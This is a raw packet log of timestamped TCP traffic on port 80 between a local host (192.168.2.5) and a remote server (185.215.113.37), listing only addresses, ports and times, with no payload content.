Oct 24, 2024 15:09:09.136908054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136923075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136939049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136953115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136961937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136969090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136979103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136984110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136996031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137001038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137017012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137017965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137042046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137064934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137068033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137079954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137095928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137103081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137111902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137121916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137129068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137136936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137152910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137170076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137203932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137222052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137240887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137284994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137399912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137415886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137432098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137439013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137449026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137454987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137465954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137471914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137481928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137489080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137497902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137506008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137515068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137523890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137531996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137537956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137554884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137558937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137573004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137576103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137593031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137595892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137614012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137614012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137633085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137648106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137650013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137650013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137662888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137665033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137681007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137681961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137700081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137706041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137715101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137718916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137736082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137742996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137753010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137758970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137768984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137775898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137787104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137794971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137810946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137826920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137830019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137845993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.137866974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.137883902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138010979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138027906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138042927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138050079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138058901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138066053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138077021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138082981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138098001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138114929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138145924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138160944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138176918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138185978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138194084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138200045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138216972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138232946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138279915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138294935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138310909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138323069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138326883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138344049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138372898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138432026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138448000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138463974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138470888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138479948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138488054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138495922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138504028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138510942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138520956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138528109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138536930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138542891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138552904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138567924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138569117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138587952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138591051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138606071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138607025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138622999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138622999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138638973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138641119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138655901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138662100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138673067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138674974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138693094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138699055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138710022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138715029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138731956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138737917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138753891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138771057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138890982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138906956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138922930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138931990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138936996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138948917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138953924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138969898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138971090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.138987064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.138998985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139003038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139018059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139019966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139033079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139056921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139056921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139060020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139070988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139075994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139091969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139092922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139110088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139111042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139126062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139131069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139169931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139169931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139187098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139203072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139218092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139228106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139233112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139241934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139247894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139260054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139265060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139281034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139307022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139338970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139354944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139369011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139377117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139385939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139394045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139401913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139410973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139426947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139442921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139475107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139491081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139507055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139513016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139523983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139528990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139547110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139564991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139617920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139633894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139648914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139656067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139664888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139672041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139682055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139688969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139697075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139705896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139714003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139722109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139739037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139741898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139755964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139758110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139775991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139776945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139791012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139794111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139808893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139811039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139827013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139828920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139846087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139863968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139883041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139898062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139913082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139920950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139930010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139938116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139944077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.139955044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.139971018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.140005112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.140875101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.140889883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.140906096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.140918970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.140938044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141011953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141030073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141052961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141053915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141077042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141093969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141489983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141535997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141633987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141649961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141666889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141678095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141685009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141695976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141701937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141722918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141750097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141767979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141784906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141798973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141805887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141823053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141841888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.141964912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141980886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.141995907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142007113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142011881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142025948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142029047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142045021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142051935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142061949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142077923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142081022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142102957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142111063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142118931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142131090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142134905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142152071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142158031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142168999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142177105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142185926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142194986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142213106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142230034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142447948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142463923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142481089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142489910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142497063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142507076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142528057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142592907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142607927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142625093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142631054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142642975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142658949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142683029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142738104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142754078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142770052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142782927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142786026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142803907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142803907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142819881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142829895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142858982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142864943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142882109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142896891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142899036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142915010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142921925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142931938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.142940044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.142957926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.143007040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.143023968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.143038034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.143049002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.143054962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.143073082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.143074989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.143100023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.143124104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.143157005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.143174887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.143188000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.143193007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.143209934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.143227100 CEST	49704	80	192.168.2.5	185.215.113.37
